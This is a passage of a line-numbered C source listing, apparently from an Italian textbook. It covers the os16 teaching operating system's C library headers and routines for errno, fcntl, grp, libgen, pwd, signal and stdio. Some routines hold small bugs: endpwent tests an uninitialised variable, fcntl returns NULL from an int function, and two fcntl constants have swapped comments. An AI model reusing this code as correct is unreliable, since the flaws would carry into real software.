2260141  #define TEXT_ECONNREFUSED                   "Connection refused."
2260142  #define TEXT_ECONNRESET                     "Connection reset."
2260143  #define TEXT_EDEADLK                        "Resource deadlock would occur."
2260144  #define TEXT_EDESTADDRREQ                   "Destination address required."
2260145  #define TEXT_EDOM                           "Mathematics argument out of " \
2260146                                              "domain of function."
2260147  #define TEXT_EDQUOT                         "Reserved error: EDQUOT"
2260148  #define TEXT_EEXIST                         "File exists."
2260149  #define TEXT_EFAULT                         "Bad address."
2260150  #define TEXT_EFBIG                          "File too large."
2260151  #define TEXT_EHOSTUNREACH                   "Host is unreachable."
2260152  #define TEXT_EIDRM                          "Identifier removed."
2260153  #define TEXT_EILSEQ                         "Illegal byte sequence."
2260154  #define TEXT_EINPROGRESS                    "Operation in progress."
2260155  #define TEXT_EINTR                          "Interrupted function."
2260156  #define TEXT_EINVAL                         "Invalid argument."
2260157  #define TEXT_EIO                            "I/O error."
2260158  #define TEXT_EISCONN                        "Socket is connected."
2260159  #define TEXT_EISDIR                         "Is a directory."
2260160  #define TEXT_ELOOP                          "Too many levels of " \
2260161                                              "symbolic links."
2260162  #define TEXT_EMFILE                         "Too many open files."
2260163  #define TEXT_EMLINK                         "Too many links."
2260164  #define TEXT_EMSGSIZE                       "Message too large."
2260165  #define TEXT_EMULTIHOP                      "Reserved error: EMULTIHOP"
2260166  #define TEXT_ENAMETOOLONG                   "Filename too long."
2260167  #define TEXT_ENETDOWN                       "Network is down."
2260168  #define TEXT_ENETRESET                      "Connection aborted by network."
2260169  #define TEXT_ENETUNREACH                    "Network unreachable."
2260170  #define TEXT_ENFILE                         "Too many files open in system."
2260171  #define TEXT_ENOBUFS                        "No buffer space available."
```

```
2260172 #define TEXT_ENODATA                    "No message is available on " \
2260173                                         "the stream head read queue."
2260174 #define TEXT_ENODEV                     "No such device."
2260175 #define TEXT_ENOENT                     "No such file or directory."
2260176 #define TEXT_ENOEXEC                    "Executable file format error."
2260177 #define TEXT_ENOLCK                     "No locks available."
2260178 #define TEXT_ENOLINK                    "Reserved error: ENOLINK"
2260179 #define TEXT_ENOMEM                     "Not enough space."
2260180 #define TEXT_ENOMSG                     "No message of the desired " \
2260181                                         "type."
2260182 #define TEXT_ENOPROTOOPT                "Protocol not available."
2260183 #define TEXT_ENOSPC                     "No space left on device."
2260184 #define TEXT_ENOSR                      "No stream resources."
2260185 #define TEXT_ENOSTR                     "Not a stream."
2260186 #define TEXT_ENOSYS                     "Function not supported."
2260187 #define TEXT_ENOTCONN                   "The socket is not connected."
2260188 #define TEXT_ENOTDIR                    "Not a directory."
2260189 #define TEXT_ENOTEMPTY                  "Directory not empty."
2260190 #define TEXT_ENOTSOCK                   "Not a socket."
2260191 #define TEXT_ENOTSUP                    "Not supported."
2260192 #define TEXT_ENOTTY                     "Inappropriate I/O control " \
2260193                                         "operation."
2260194 #define TEXT_ENXIO                      "No such device or address."
2260195 #define TEXT_EOPNOTSUPP                 "Operation not supported on " \
2260196                                         "socket."
2260197 #define TEXT_EOVERFLOW                  "Value too large to be " \
2260198                                         "stored in data type."
2260199 #define TEXT_EPERM                      "Operation not permitted."
2260200 #define TEXT_EPIPE                      "Broken pipe."
2260201 #define TEXT_EPROTO                     "Protocol error."
2260202 #define TEXT_EPROTONOSUPPORT            "Protocol not supported."
2260203 #define TEXT_EPROTOTYPE                 "Protocol wrong type for " \
2260204                                         "socket."
2260205 #define TEXT_ERANGE                     "Result too large."
2260206 #define TEXT_EROFS                      "Read-only file system."
2260207 #define TEXT_ESPIPE                     "Invalid seek."
2260208 #define TEXT_ESRCH                      "No such process."
2260209 #define TEXT_ESTALE                     "Reserved error: ESTALE"
2260210 #define TEXT_ETIME                      "Stream ioctl() timeout."
2260211 #define TEXT_ETIMEDOUT                  "Connection timed out."
2260212 #define TEXT_ETXTBSY                    "Text file busy."
2260213 #define TEXT_EWOULDBLOCK                "Operation would block."
2260214 #define TEXT_EXDEV                      "Cross-device link."
2260215 //------------------------------------------------------------------------
2260216 #define TEXT_EUNKNOWN                   "Unknown error."
2260217 #define TEXT_E_FILE_TYPE                "File type not compatible."
2260218 #define TEXT_E_ROOT_INODE_NOT_CACHED    "The root directory inode " \
2260219                                         "is not cached."
2260220 #define TEXT_E_CANNOT_READ_SUPERBLOCK   "Cannot read super block."
2260221 #define TEXT_E_MAP_INODE_TOO_BIG        "Map inode too big."
2260222 #define TEXT_E_MAP_ZONE_TOO_BIG         "Map zone too big."
2260223 #define TEXT_E_DATA_ZONE_TOO_BIG        "Data zone too big."
```

```
2260224 #define TEXT_E_CANNOT_FIND_ROOT_DEVICE  "Cannot find root device."
2260225 #define TEXT_E_CANNOT_FIND_ROOT_INODE   "Cannot find root inode."
2260226 #define TEXT_E_FILE_TYPE_UNSUPPORTED    "File type unsupported."
2260227 #define TEXT_E_ENV_TOO_BIG              "Environment too big."
2260228 #define TEXT_E_LIMIT                    "Exceeded implementation " \
2260229                                         "limits."
2260230 #define TEXT_E_NOT_MOUNTED               "Not mounted."
2260231 #define TEXT_E_NOT_IMPLEMENTED          "Not implemented."
2260232
2260233 //----------------------------------------------------------------------
2260234 // The function 'error()' is not standard and is used to return a
2260235 // pointer to a string containing the default description of the
2260236 // error contained inside 'errno'.
2260237 //----------------------------------------------------------------------
2260238 char *error      (void);        // Not standard!
2260239
2260240 #endif
```

106.3.1 lib/errno/errno.c

Si veda la sezione 99.18.

```
2270001 //----------------------------------------------------------------------
2270002 // This file does not include the 'errno.h' header, because here 'errno'
2270003 // should not be declared as an extern variable!
2270004 //----------------------------------------------------------------------
2270005
2270006 #include <limits.h>
2270007 //----------------------------------------------------------------------
2270008 // The variable 'errno' is standard, but 'errln' and 'errfn' are added
2270009 // to keep track of the error source. Variable 'errln' is used to save
2270010 // the source file line number; variable 'errfn' is used to save the
2270011 // source file name. To set these variable in a consistent way it is
2270012 // also added a macro-instruction: 'errset'.
2270013 //----------------------------------------------------------------------
2270014 int  errno;
2270015 int  errln;
2270016 char errfn[PATH_MAX];
2270017 //----------------------------------------------------------------------
```

106.4 os16: «lib/fcntl.h»

Si veda la sezione 102.2.

```
2280001 #ifndef _FCNTL_H
2280002 #define _FCNTL_H        1
2280003
2280004 #include <const.h>
2280005 #include <sys/types.h>  // mode_t
```

```
2280006                         // off_t
2280007                         // pid_t
2280008 //----------------------------------------------------------------------
2280009 // Values for the second parameter of function `fcntl()'.
2280010 //----------------------------------------------------------------------
2280011 #define F_DUPFD         0       // Duplicate file descriptor.
2280012 #define F_GETFD         1       // Get file descriptor flags.
2280013 #define F_SETFD         2       // Set file descriptor flags.
2280014 #define F_GETFL         3       // Get file status flags.
2280015 #define F_SETFL         4       // Set file status flags.
2280016 #define F_GETLK         5       // Get record locking information.
2280017 #define F_SETLK         6       // Set record locking information.
2280018 #define F_SETLKW        7       // Set record locking information;
2280019                                 // wait if blocked.
2280020 #define F_GETOWN        8       // Set owner of socket.
2280021 #define F_SETOWN        9       // Get owner of socket.
2280022 //----------------------------------------------------------------------
2280023 // Flags to be set with:
2280024 //   fcntl (fd, F_SETFD, ...);
2280025 //----------------------------------------------------------------------
2280026 #define FD_CLOEXEC      1       // Close the file descriptor upon
2280027                                 // execution of an exec() family
2280028                                 // function.
2280029 //----------------------------------------------------------------------
2280030 // Values for type `l_type', used for record locking with `fcntl()'.
2280031 //----------------------------------------------------------------------
2280032 #define F_RDLCK         0       // Read lock.
2280033 #define F_WRLCK         1       // Write lock.
2280034 #define F_UNLCK         2       // Remove lock.
2280035 //----------------------------------------------------------------------
2280036 // Flags for file creation, in place of `oflag' parameter for function
2280037 // `open()'.
2280038 //----------------------------------------------------------------------
2280039 #define O_CREAT         000010  // Create file if it does not exist.
2280040 #define O_EXCL          000020  // Exclusive use flag.
2280041 #define O_NOCTTY        000040  // Do not assign a controlling terminal.
2280042 #define O_TRUNC         000100  // Truncation flag.
2280043 //----------------------------------------------------------------------
2280044 // Flags for the file status, used with `open()' and `fcntl()'.
2280045 //----------------------------------------------------------------------
2280046 #define O_APPEND        000200  // Write append.
2280047 #define O_DSYNC         000400  // Synchronized write operations.
2280048 #define O_NONBLOCK      001000  // Non-blocking mode.
2280049 #define O_RSYNC         002000  // Synchronized read operations.
2280050 #define O_SYNC          004000  // Synchronized read and write.
2280051 //----------------------------------------------------------------------
2280052 // File access mask selection.
2280053 //----------------------------------------------------------------------
2280054 #define O_ACCMODE       000003  // Mask to select the last three bits,
2280055                                 // used to specify the main access
2280056                                 // modes: read, write and both.
2280057 //----------------------------------------------------------------------
```

```
2280058 // Main access modes.
2280059 //----------------------------------------------------------------------
2280060 #define O_RDONLY        000001                  // Read.
2280061 #define O_WRONLY        000002                  // Write.
2280062 #define O_RDWR          (O_RDONLY | O_WRONLY)   // Both read and write.
2280063 //----------------------------------------------------------------------
2280064 // Structure 'flock', used to file lock for POSIX standard. It is not
2280065 // used inside os16.
2280066 //----------------------------------------------------------------------
2280067 struct flock {
2280068     short int l_type;   // Type of lock: F_RDLCK, F_WRLCK, or F_UNLCK.
2280069     short int l_whence; // Start reference point.
2280070     off_t     l_start;  // Offset, from 'l_whence', for the area start.
2280071     off_t     l_len;    // Locked area size. Zero means up to the end of
2280072                         // the file.
2280073     pid_t     l_pid;    // The process id blocking the area.
2280074 };
2280075 //----------------------------------------------------------------------
2280076 // Function prototypes.
2280077 //----------------------------------------------------------------------
2280078 int creat (const char *path, mode_t mode);
2280079 int fcntl (int fdn, int cmd, ...);
2280080 int open  (const char *path, int oflags, ...);
2280081 //----------------------------------------------------------------------
2280082 
2280083 #endif
```

106.4.1 lib/fcntl/creat.c

Si veda la sezione 99.11.

```
2290001 #include <fcntl.h>
2290002 #include <sys/types.h>
2290003 #include <const.h>
2290004 //----------------------------------------------------------------------
2290005 int
2290006 creat (const char *path, mode_t mode)
2290007 {
2290008     return (open (path, O_WRONLY|O_CREAT|O_TRUNC, mode));
2290009 }
```

106.4.2 lib/fcntl/fcntl.c

Si veda la sezione 98.13.

```
2300001 #include <fcntl.h>
2300002 #include <stdarg.h>
2300003 #include <stddef.h>
2300004 #include <string.h>
```

```
2300005 #include <errno.h>
2300006 #include <sys/os16.h>
2300007 #include <const.h>
2300008 #include <limits.h>
2300009 //----------------------------------------------------------------------
2300010 int
2300011 fcntl (int fdn, int cmd, ...)
2300012 {
2300013     va_list ap;
2300014     sysmsg_fcntl_t msg;
2300015     va_start (ap, cmd);
2300016     //
2300017     // Well known arguments.
2300018     //
2300019     msg.fdn = fdn;
2300020     msg.cmd = cmd;
2300021     //
2300022     // Select other arguments.
2300023     //
2300024     switch (cmd)
2300025       {
2300026         case F_DUPFD:
2300027         case F_SETFD:
2300028         case F_SETFL:
2300029             msg.arg = va_arg (ap, int);
2300030             break;
2300031         case F_GETFD:
2300032         case F_GETFL:
2300033             break;
2300034         case F_GETOWN:
2300035         case F_SETOWN:
2300036         case F_GETLK:
2300037         case F_SETLK:
2300038         case F_SETLKW:
2300039             errset (E_NOT_IMPLEMENTED);          // Not implemented.
2300040             return (-1);
2300041         default:
2300042             errset (EINVAL);                     // Not implemented.
2300043             return (NULL);
2300044       }
2300045     //
2300046     // Do the system call.
2300047     //
2300048     sys (SYS_FCNTL, &msg, (sizeof msg));
2300049     errno = msg.errno;
2300050     errln = msg.errln;
2300051     strncpy (errfn, msg.errfn, PATH_MAX);
2300052     return (msg.ret);
2300053 }
```

106.4.3 lib/fcntl/open.c

Si veda la sezione 98.28.

```
2310001 #include <fcntl.h>
2310002 #include <stdarg.h>
2310003 #include <stddef.h>
2310004 #include <string.h>
2310005 #include <errno.h>
2310006 #include <sys/os16.h>
2310007 #include <const.h>
2310008 #include <limits.h>
2310009 //----------------------------------------------------------------------
2310010 int
2310011 open (const char *path, int oflags, ...)
2310012 {
2310013     va_list ap;
2310014     sysmsg_open_t msg;
2310015     va_start (ap, oflags);
2310016     if (path == NULL || strlen (path) == 0)
2310017       {
2310018         errset (EINVAL);         // Invalid argument.
2310019         return (-1);
2310020       }
2310021     strncpy (msg.path, path, PATH_MAX);
2310022     msg.flags = oflags;
2310023     msg.mode  = va_arg (ap, mode_t);
2310024     sys (SYS_OPEN, &msg, (sizeof msg));
2310025     errno = msg.errno;
2310026     errln = msg.errln;
2310027     strncpy (errfn, msg.errfn, PATH_MAX);
2310028     return (msg.ret);
2310029 }
```

106.5 os16: «lib/grp.h»

Si veda la sezione 102.2.

```
2320001 //----------------------------------------------------------------------
2320002 // os16 does not have a group management!
2320003 //----------------------------------------------------------------------
2320004 
2320005 #ifndef _GRP_H
2320006 #define _GRP_H        1
2320007 
2320008 #include <const.h>
2320009 #include <restrict.h>
2320010 #include <sys/types.h>          // gid_t
2320011 
2320012 //----------------------------------------------------------------------
2320013 struct group {
```

```
2320014     char   *gr_name;
2320015     gid_t   gr_gid;
2320016     char  **gr_mem;
2320017 };
2320018 //----------------------------------------------------------------------
2320019 struct group *getgrgid (gid_t gid);
2320020 struct group *getgrnam (const char *name);
2320021 //----------------------------------------------------------------------
2320022 
2320023 #endif
```

106.5.1 lib/grp/getgrgid.c

Si veda la sezione 102.2.

```
2330001 #include <grp.h>
2330002 #include <NULL.h>
2330003 //----------------------------------------------------------------------
2330004 struct group *
2330005 getgrgid (gid_t gid)
2330006 {
2330007     static char *name = "none";
2330008     static struct group grp;
2330009     //
2330010     // os16 does not have a group management, so the answare is always
2330011     // the same.
2330012     //
2330013     grp.gr_name = name;
2330014     grp.gr_gid  = (gid_t) -1;
2330015     grp.gr_mem  = NULL;
2330016     //
2330017     return (&grp);
2330018 }
```

106.5.2 lib/grp/getgrnam.c

Si veda la sezione 102.2.

```
2340001 #include <grp.h>
2340002 //----------------------------------------------------------------------
2340003 struct group *
2340004 getgrnam (const char *name)
2340005 {
2340006     return (getgrgid ((gid_t) 0));
2340007 }
```

106.6 os16: «lib/libgen.h»

Si veda la sezione 102.2.

```
2350001 #ifndef _LIBGEN_H
2350002 #define _LIBGEN_H       1
2350003
2350004 //----------------------------------------------------------------------
2350005 char *basename (char *path);
2350006 char *dirname  (char *path);
2350007 //----------------------------------------------------------------------
2350008
2350009 #endif
```

106.6.1 lib/libgen/basename.c

Si veda la sezione 99.7.

```
2360001 #include <libgen.h>
2360002 #include <limits.h>
2360003 #include <stddef.h>
2360004 #include <string.h>
2360005 //----------------------------------------------------------------------
2360006 char *
2360007 basename (char *path)
2360008 {
2360009     static char  *point = ".";          // When `path' is NULL.
2360010            char  *p;                    // Pointer inside `path'.
2360011            int    i;                    // Scan index inside `path'.
2360012     //
2360013     // Empty path.
2360014     //
2360015     if (path == NULL || strlen (path) == 0)
2360016       {
2360017         return (point);
2360018       }
2360019     //
2360020     // Remove all final `/' if it exists, excluded the first character:
2360021     // `i' is kept greater than zero.
2360022     //
2360023     for (i = (strlen (path) - 1); i > 0 && path[i] == '/'; i--)
2360024       {
2360025         path[i] = 0;
2360026       }
2360027     //
2360028     // After removal of extra final `/', if there is only one `/', this
2360029     // is to be returned.
2360030     //
2360031     if (strncmp (path, "/",  PATH_MAX) == 0)
2360032       {
2360033         return (path);
```

```
2360034         }
2360035       //
2360036       // If there are no '/'.
2360037       //
2360038       if (strchr (path, '/') == NULL)
2360039         {
2360040           return (path);
2360041         }
2360042       //
2360043       // Find the last '/' and calculate a pointer to the base name.
2360044       //
2360045       p = strrchr (path, (unsigned int) '/');
2360046       p++;
2360047       //
2360048       // Return the pointer to the base name.
2360049       //
2360050       return (p);
2360051   }
```

106.6.2 lib/libgen/dirname.c

Si veda la sezione 99.7.

```
2370001   #include <libgen.h>
2370002   #include <limits.h>
2370003   #include <stddef.h>
2370004   #include <string.h>
2370005   //----------------------------------------------------------------------
2370006   char *
2370007   dirname (char *path)
2370008   {
2370009       static char  *point = ".";          // When 'path' is NULL.
2370010              char  *p;                    // Pointer inside 'path'.
2370011              int    i;                    // Scan index inside 'path'.
2370012       //
2370013       // Empty path.
2370014       //
2370015       if      (path == NULL || strlen (path) == 0)
2370016         {
2370017           return (point);
2370018         }
2370019       //
2370020       // Simple cases.
2370021       //
2370022       if (strncmp (path, "/",  PATH_MAX) == 0  ||
2370023           strncmp (path, ".",  PATH_MAX) == 0  ||
2370024           strncmp (path, "..", PATH_MAX) == 0)
2370025         {
2370026           return (path);
2370027         }
2370028       //
```

```
2370029     // Remove all final '/' if it exists, excluded the first character:
2370030     // 'i' is kept greater than zero.
2370031     //
2370032     for (i = (strlen (path) - 1); i > 0 && path[i] == '/'; i--)
2370033       {
2370034         path[i] = 0;
2370035       }
2370036     //
2370037     // After removal of extra final '/', if there is only one '/', this
2370038     // is to be returned.
2370039     //
2370040     if (strncmp (path, "/",  PATH_MAX) == 0)
2370041       {
2370042         return (path);
2370043       }
2370044     //
2370045     // If there are no '/'
2370046     //
2370047     if (strchr (path, '/') == NULL)
2370048       {
2370049         return (point);
2370050       }
2370051     //
2370052     // If there is only a '/' a the beginning.
2370053     //
2370054     if (path[0] == '/'                                  &&
2370055         strchr (&path[1], (unsigned int) '/') == NULL)
2370056       {
2370057         path[1] = 0;
2370058         return (path);
2370059       }
2370060     //
2370061     // Replace the last '/' with zero.
2370062     //
2370063      p = strrchr (path, (unsigned int) '/');
2370064     *p = 0;
2370065     //
2370066     // Now remove extra duplicated final '/', except the very first
2370067     // character: 'i' is kept greater than zero.
2370068     //
2370069     for (i = (strlen (path) - 1); i > 0 && path[i] == '/'; i--)
2370070       {
2370071         path[i] = 0;
2370072       }
2370073     //
2370074     // Now 'path' appears as a reduced string: the original path string
2370075     // is modified.
2370076     //
2370077     return (path);
2370078 }
```

106.7 os16: «lib/pwd.h»

Si veda la sezione 102.2.

```
2380001 #ifndef _PWD_H
2380002 #define _PWD_H        1
2380003 
2380004 #include <const.h>
2380005 #include <restrict.h>
2380006 #include <sys/types.h>          // gid_t, uid_t
2380007 //----------------------------------------------------------------------
2380008 struct passwd {
2380009     char  *pw_name;
2380010     char  *pw_passwd;
2380011     uid_t  pw_uid;
2380012     gid_t  pw_gid;
2380013     char  *pw_gecos;
2380014     char  *pw_dir;
2380015     char  *pw_shell;
2380016 };
2380017 //----------------------------------------------------------------------
2380018 struct passwd *getpwent (void);
2380019 void           setpwent (void);
2380020 void           endpwent (void);
2380021 struct passwd *getpwnam (const char *name);
2380022 struct passwd *getpwuid (uid_t uid);
2380023 //----------------------------------------------------------------------
2380024 
2380025 #endif
```

106.7.1 lib/pwd/pwent.c

Si veda la sezione 99.53.

```
2390001 #include <pwd.h>
2390002 #include <stdio.h>
2390003 #include <string.h>
2390004 #include <stdlib.h>
2390005 
2390006 //----------------------------------------------------------------------
2390007 static char          buffer[BUFSIZ];
2390008 static struct passwd pw;
2390009 static FILE         *fp = NULL;
2390010 //----------------------------------------------------------------------
2390011 struct passwd *
2390012 getpwent (void)
2390013 {
2390014     void *pstatus;
2390015     char *char_uid;
2390016     char *char_gid;
2390017     //
```

```
2390018     if (fp == NULL)
2390019       {
2390020         fp = fopen ("/etc/passwd", "r");
2390021         if (fp == NULL)
2390022           {
2390023             return NULL;
2390024           }
2390025       }
2390026     //
2390027     pstatus = fgets (buffer, BUFSIZ, fp);
2390028     if (pstatus == NULL)
2390029       {
2390030         return (NULL);
2390031       }
2390032     //
2390033     pw.pw_name   = strtok (buffer, ":");
2390034     pw.pw_passwd = strtok (NULL, ":");
2390035     char_uid     = strtok (NULL, ":");
2390036     char_gid     = strtok (NULL, ":");
2390037     pw.pw_gecos  = strtok (NULL, ":");
2390038     pw.pw_dir    = strtok (NULL, ":");
2390039     pw.pw_shell  = strtok (NULL, ":");
2390040     pw.pw_uid    = (uid_t) atoi (char_uid);
2390041     pw.pw_gid    = (gid_t) atoi (char_gid);
2390042     //
2390043     return (&pw);
2390044 }
2390045 //----------------------------------------------------------------------
2390046 void
2390047 endpwent (void)
2390048 {
2390049     int status;
2390050     //
2390051     if (fp != NULL)
2390052       {
2390053         fclose (fp);
2390054         if (status != NULL)
2390055           {
2390056             fp = NULL;
2390057           }
2390058       }
2390059 }
2390060 //----------------------------------------------------------------------
2390061 void
2390062 setpwent (void)
2390063 {
2390064     if (fp != NULL)
2390065       {
2390066         rewind (fp);
2390067       }
2390068 }
2390069 //----------------------------------------------------------------------
```

```
2390070 struct passwd *
2390071 getpwnam (const char *name)
2390072 {
2390073     struct passwd *pw;
2390074     //
2390075     setpwent ();
2390076     //
2390077     for (;;)
2390078       {
2390079         pw = getpwent ();
2390080         if (pw == NULL)
2390081           {
2390082             return (NULL);
2390083           }
2390084         if (strcmp (pw->pw_name, name) == 0)
2390085           {
2390086             return (pw);
2390087           }
2390088       }
2390089 }
2390090 //----------------------------------------------------------------------
2390091 struct passwd *
2390092 getpwuid (uid_t uid)
2390093 {
2390094     struct passwd *pw;
2390095     //
2390096     setpwent ();
2390097     //
2390098     for (;;)
2390099       {
2390100         pw = getpwent ();
2390101         if (pw == NULL)
2390102           {
2390103             return (NULL);
2390104           }
2390105         if (pw->pw_uid == uid)
2390106           {
2390107             return (pw);
2390108           }
2390109       }
2390110 }
```

106.8 os16: «lib/signal.h»

Si veda la sezione 102.2.

```
2400001 #ifndef _SIGNAL_H
2400002 #define _SIGNAL_H       1
2400003 
2400004 #include <sys/types.h>
2400005 //----------------------------------------------------------------------
```

```
2400006 #define SIGHUP          1
2400007 #define SIGINT          2
2400008 #define SIGQUIT         3
2400009 #define SIGILL          4
2400010 #define SIGABRT         6
2400011 #define SIGFPE          8
2400012 #define SIGKILL         9
2400013 #define SIGSEGV        11
2400014 #define SIGPIPE        13
2400015 #define SIGALRM        14
2400016 #define SIGTERM        15
2400017 #define SIGSTOP        17
2400018 #define SIGTSTP        18
2400019 #define SIGCONT        19
2400020 #define SIGCHLD        20
2400021 #define SIGTTIN        21
2400022 #define SIGTTOU        22
2400023 #define SIGUSR1        30
2400024 #define SIGUSR2        31
2400025 //----------------------------------------------------------------------
2400026 typedef int sig_atomic_t;
2400027 typedef void (*sighandler_t) (int); // The type 'sighandler_t' is a
2400028                                     // pointer to a function for the
2400029                                     // signal handling, with a parameter
2400030                                     // of type 'int', returning 'void'.
2400031 //
2400032 // Special undeclarable functions.
2400033 //
2400034 #define SIG_ERR ((sighandler_t) -1) // It transform an integer number
2400035 #define SIG_DFL ((sighandler_t) 0)  // into a 'sighandler_t' type,
2400036 #define SIG_IGN ((sighandler_t) 1)  // that is, a pointer to a function
2400037                                     // that does not exists really.
2400038 //----------------------------------------------------------------------
2400039 sighandler_t signal (int sig, sighandler_t handler);
2400040 int          kill   (pid_t pid, int sig);
2400041 int          raise  (int sig);
2400042 //----------------------------------------------------------------------
2400043 
2400044 #endif
```

106.8.1 lib/signal/kill.c

Si veda la sezione 98.22.

```
2410001 #include <sys/os16.h>
2410002 #include <sys/types.h>
2410003 #include <signal.h>
2410004 #include <errno.h>
2410005 #include <string.h>
2410006 //----------------------------------------------------------------------
2410007 int
```

```
2410008 kill (pid_t pid, int sig)
2410009 {
2410010     sysmsg_kill_t msg;
2410011     if (pid < -1)       // Currently unsupported.
2410012       {
2410013         errset (ESRCH);
2410014         return (-1);
2410015       }
2410016     msg.pid    = pid;
2410017     msg.signal = sig;
2410018     msg.ret    = 0;
2410019     msg.errno  = 0;
2410020     sys (SYS_KILL, &msg, (sizeof msg));
2410021     errno = msg.errno;
2410022     errln = msg.errln;
2410023     strncpy (errfn, msg.errfn, PATH_MAX);
2410024     return (msg.ret);
2410025 }
```

106.8.2 lib/signal/signal.c

Si veda la sezione 98.34.

```
2420001 #include <sys/os16.h>
2420002 #include <sys/types.h>
2420003 #include <signal.h>
2420004 #include <errno.h>
2420005 #include <string.h>
2420006 //----------------------------------------------------------------------
2420007 sighandler_t
2420008 signal (int sig, sighandler_t handler)
2420009 {
2420010     sysmsg_signal_t msg;
2420011 
2420012     msg.signal  = sig;
2420013     msg.handler = handler;
2420014     msg.ret     = SIG_DFL;
2420015     msg.errno   = 0;
2420016     sys (SYS_SIGNAL, &msg, (sizeof msg));
2420017     errno = msg.errno;
2420018     errln = msg.errln;
2420019     strncpy (errfn, msg.errfn, PATH_MAX);
2420020     return (msg.ret);
2420021 }
```

106.9 os16: «lib/stdio.h»

Si veda la sezione 99.103.

```
2430001 #ifndef _STDIO_H
2430002 #define _STDIO_H        1
2430003
2430004 #include <const.h>
2430005 #include <restrict.h>
2430006 #include <stdarg.h>
2430007 #include <stdint.h>
2430008 #include <limits.h>
2430009 #include <NULL.h>
2430010 #include <size_t.h>
2430011 #include <sys/types.h>
2430012 #include <SEEK.h>       // SEEK_CUR, SEEK_SET, SEEK_END
2430013 //----------------------------------------------------------------------
2430014 #define BUFSIZ              2048  // Like the file system max zone
2430015                                   // size.
2430016 #define _IOFBF                 0  // Input-output fully buffered.
2430017 #define _IOLBF                 1  // Input-output line buffered.
2430018 #define _IONBF                 2  // Input-output with no buffering.
2430019
2430020 #define L_tmpnam    FILENAME_MAX  // <limits.h>
2430021
2430022 #define FOPEN_MAX       OPEN_MAX  // <limits.h>
2430023 #define FILENAME_MAX    NAME_MAX  // <limits.h>
2430024 #define TMP_MAX           0x7FFF
2430025
2430026 #define EOF                 (-1)  // Must be a negative value.
2430027 //----------------------------------------------------------------------
2430028 typedef off_t     fpos_t;   // 'off_t' defined in <sys/types.h>.
2430029
2430030 typedef struct {
2430031     int           fdn;      // File descriptor number.
2430032     char          error;    // Error indicator.
2430033     char          eof;      // End of file indicator.
2430034 } FILE;
2430035
2430036 extern FILE _stream[];      // Defined inside 'lib/stdio/FILE.c'.
2430037
2430038 #define stdin   (&_stream[0])
2430039 #define stdout  (&_stream[1])
2430040 #define stderr  (&_stream[2])
2430041 //----------------------------------------------------------------------
2430042 void     clearerr   (FILE *fp);
2430043 int      fclose     (FILE *fp);
2430044 int      feof       (FILE *fp);
2430045 int      ferror     (FILE *fp);
2430046 int      fflush     (FILE *fp);
2430047 int      fgetc      (FILE *fp);
2430048 int      fgetpos    (FILE *restrict fp, fpos_t *restrict pos);
2430049 char    *fgets      (char *restrict string, int n, FILE *restrict fp);
```

```
2430050 int      fileno     (FILE *fp);
2430051 FILE    *fopen      (const char *path, const char *mode);
2430052 int      fprintf    (FILE *fp, char *restrict format, ...);
2430053 int      fputc      (int c, FILE *fp);
2430054 int      fputs      (const char *restrict string, FILE *restrict fp);
2430055 size_t   fread      (void *restrict buffer, size_t size, size_t nmemb,
2430056                      FILE *restrict fp);
2430057 FILE    *freopen    (const char *restrict path,
2430058                      const char *restrict mode,
2430059                      FILE *restrict fp);
2430060 int      fscanf     (FILE *restrict fp, const char *restrict format,
2430061                      ...);
2430062 int      fseek      (FILE *fp, long int offset, int whence);
2430063 int      fsetpos    (FILE *fp, const fpos_t *pos);
2430064 long int ftell      (FILE *fp);
2430065 off_t    ftello     (FILE *fp);
2430066 size_t   fwrite     (const void *restrict buffer, size_t size,
2430067                      size_t nmemb, FILE *restrict fp);
2430068 #define  getc(p)    (fgetc (p))
2430069 int      getchar    (void);
2430070 char    *gets       (char *string);
2430071 void     perror     (const char *string);
2430072 int      printf     (const char *restrict format, ...);
2430073 #define  putc(c, p) (fputc ((c), (p)))
2430074 #define  putchar(c) (fputc ((c), (stdout)))
2430075 int      puts       (const char *string);
2430076 void     rewind     (FILE *fp);
2430077 int      scanf      (const char *restrict format, ...);
2430078 void     setbuf     (FILE *restrict fp, char *restrict buffer);
2430079 int      setvbuf    (FILE *restrict fp, char *restrict buffer,
2430080                      int buf_mode, size_t size);
2430081 int      snprintf   (char *restrict string, size_t size,
2430082                      const char *restrict format, ...);
2430083 int      sprintf    (char *restrict string, const char *restrict format,
2430084                      ...);
2430085 int      sscanf     (char *restrict string, const char *restrict format,
2430086                      ...);
2430087 int      vfprintf   (FILE *fp, char *restrict format, va_list arg);
2430088 int      vfscanf    (FILE *restrict fp, const char *restrict format,
2430089                      va_list arg);
2430090 int      vprintf    (const char *restrict format, va_list arg);
2430091 int      vscanf     (const char *restrict format, va_list ap);
2430092 int      vsnprintf  (char *restrict string, size_t size,
2430093                      const char *restrict format, va_list arg);
2430094 int      vsprintf   (char *restrict string, const char *restrict format,
2430095                      va_list arg);
2430096 int      vsscanf    (const char *string, const char *format,
2430097                      va_list ap);
2430098
2430099 #endif
```

106.9.1 lib/stdio/FILE.c

Si veda la sezione 102.2.

```
2440001 #include <stdio.h>
2440002 //
2440003 // There must be room for at least 'FOPEN_MAX' elements.
2440004 //
2440005 FILE _stream[FOPEN_MAX];
2440006 //----------------------------------------------------------------------
2440007 void
2440008 _stdio_stream_setup (void)
2440009 {
2440010     _stream[0].fdn   = 0;
2440011     _stream[0].error = 0;
2440012     _stream[0].eof   = 0;
2440013
2440014     _stream[1].fdn   = 1;
2440015     _stream[1].error = 0;
2440016     _stream[1].eof   = 0;
2440017
2440018     _stream[2].fdn   = 2;
2440019     _stream[2].error = 0;
2440020     _stream[2].eof   = 0;
2440021 }
```

106.9.2 lib/stdio/clearerr.c

Si veda la sezione 99.9.

```
2450001 #include <stdio.h>
2450002 //----------------------------------------------------------------------
2450003 void
2450004 clearerr (FILE *fp)
2450005 {
2450006     if (fp != NULL)
2450007       {
2450008         fp->error = 0;
2450009         fp->eof   = 0;
2450010       }
2450011 }
```

106.9.3 lib/stdio/fclose.c

Si veda la sezione 99.27.

```
2460001 #include <stdio.h>
2460002 #include <unistd.h>
2460003 //----------------------------------------------------------------------
2460004 int
```

```
2460005 fclose (FILE *fp)
2460006 {
2460007     return (close (fp->fdn));
2460008 }
```

106.9.4 lib/stdio/feof.c

Si veda la sezione 99.28.

```
2470001 #include <stdio.h>
2470002 //----------------------------------------------------------------------
2470003 int
2470004 feof (FILE *fp)
2470005 {
2470006     if (fp != NULL)
2470007       {
2470008         return (fp->eof);
2470009       }
2470010     return (0);
2470011 }
```

106.9.5 lib/stdio/ferror.c

